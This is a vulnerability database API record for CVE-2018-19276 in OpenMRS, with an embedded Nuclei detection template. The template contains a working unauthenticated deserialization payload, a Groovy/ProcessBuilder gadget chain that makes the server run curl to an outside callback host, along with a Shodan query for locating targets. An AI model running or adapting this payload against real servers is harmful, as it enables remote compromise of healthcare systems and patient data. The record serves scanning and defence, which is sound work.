{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-19276/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-19276/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-19276/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-19276/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-19276/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-19276"},"sightings":{"href":"/api/v1/sightings/cve-2018-19276"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.98714,"kev":false,"percentile":0.99924},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-19276.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-19276\n\ninfo:\n  name: OpenMRS Platform < 2.24.0 - Insecure Object Deserialization\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    OpenMRS before 2.24.0 is affected by an Insecure Object Deserialization vulnerability that allows an unauthenticated user to execute arbitrary commands on the targeted system via crafted XML data in a request body.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands via insecure object deserialization, leading to complete server compromise and access to sensitive patient data.\n  remediation: |\n    Upgrade to OpenMRS Platform version 2.24.0 or later.\n  reference:\n    - http://packetstormsecurity.com/files/155691/OpenMRS-Java-Deserialization-Remote-Code-Execution.html\n    - https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-19276\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-19276\n    cwe-id: CWE-502\n    epss-score: 0.98714\n    epss-percentile: 0.99924\n    cpe: cpe:2.3:a:openmrs:openmrs:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: openmrs\n    product: openmrs\n    shodan-query: html:\"OpenMRS\"\n  tags: cve,cve2018,openmrs,deserialization,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST {{path}}/ws/rest/v1/xxxxxx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <map>\n          <entry>\n            <groovy.util.Expando>\n              <expandoProperties>\n                <entry>\n                  <string>hashCode</string>\n                  <org.codehaus.groovy.runtime.MethodClosure>\n                    <delegate class=\"java.lang.ProcessBuilder\">\n                      <command>\n                        <string>curl</string><string>{{interactsh-url}}</string>\n                      </command>\n                      <redirectErrorStream>false</redirectErrorStream>\n                    </delegate>\n                    <owner class=\"java.lang.ProcessBuilder\" reference=\"../delegate\"/>\n                    <resolveStrategy>0</resolveStrategy>\n                    <directive>0</directive>\n                    <parameterTypes/>\n                    <maximumNumberOfParameters>0</maximumNumberOfParameters>\n                    <method>start</method>\n                  </org.codehaus.groovy.runtime.MethodClosure>\n                </entry>\n              </expandoProperties>\n            </groovy.util.Expando>\n            <int>1337</int>\n          </entry>\n        </map>\n\n    payloads:\n      path:\n        - \"\"\n        - \"/openmrs\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"message\\\":\")'\n        condition: and\n# digest: 4a0a0047304502207145a418de67f4d1a93da0cc943362a0ed59278080723884158a8883267d314202210086008a1e76ed3a05584d6ea996814028200e5ffb1a8d9753c610325207d99c51:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-19276"}